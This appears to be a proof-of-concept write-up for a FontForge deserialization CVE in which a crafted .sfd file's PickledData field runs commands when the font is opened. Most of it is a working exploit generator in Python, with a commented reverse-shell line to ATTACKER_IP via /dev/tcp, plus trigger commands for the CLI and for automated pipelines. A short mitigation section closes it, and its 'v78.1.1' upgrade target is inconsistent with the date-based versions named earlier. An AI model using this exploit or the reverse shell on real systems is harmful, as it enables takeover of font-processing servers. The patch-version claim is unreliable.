This Proof of Concept (PoC) is for educational purposes and security auditing only. The author is not responsible for any misuse of this information. Unauthorized access to computer systems is illegal. Always obtain explicit permission before performing security testing on any system.
CVE-2025-15276 is a critical Remote Code Execution (RCE) vulnerability in FontForge (versions up to and including 20230101). The flaw exists in the parsing of the Spline Font Database (.sfd) format, specifically within the PickledData field.
FontForge's SFD format allows for the storage of persistent Python dictionaries using the PickledData keyword. When a font is loaded, FontForge extracts this string and passes it directly to Python's pickle.loads() function (or an equivalent internal deserialization routine) without any sanitization or sandboxing.
Because the Python pickle module is inherently insecure and allows for arbitrary object reconstruction, an attacker can use the __reduce__ method to execute arbitrary system commands with the privileges of the user running FontForge.
- Vulnerable FontForge: Version
20230101or earlier. - Python 3.x: To generate the malicious payload.
Use the following Python script (gen_poc.py) to create an exploit.sfd file. This PoC is configured to create a file in /tmp/pwned as a safe indicator of compromise (IoC).
import pickle
import os
# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd,))
# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')
# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""
with open("exploit.sfd", "w") as f:
f.write(sfd_content)
print("[+] exploit.sfd generated successfully.")The vulnerability can be triggered by simply opening the file with FontForge.
Option A: Standard GUI/CLI Load
fontforge exploit.sfdOption B: Python Scripting Interface (Common in automated pipelines)
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'Check if the command was executed:
ls -l /tmp/pwnedThis vulnerability is particularly dangerous in font processing pipelines (e.g., web-based font converters or automated validation scripts) that use FontForge on the backend to process user-uploaded files. If the backend script calls fontforge.open() on an untrusted .sfd file, the attacker gains full control over the processing server.
- Update FontForge: Upgrade to the latest version (v78.1.1 or later), where these insecure deserialization paths have been patched or restricted.
- Sanitize Input: If you are building tools using the FontForge API, strictly validate the file format before processing and never allow the processing of
.sfdfiles from untrusted sources. - Sandboxing: Run font processing tasks inside a low-privileged container (e.g., Docker) or a restricted sandbox to limit the impact of a potential compromise.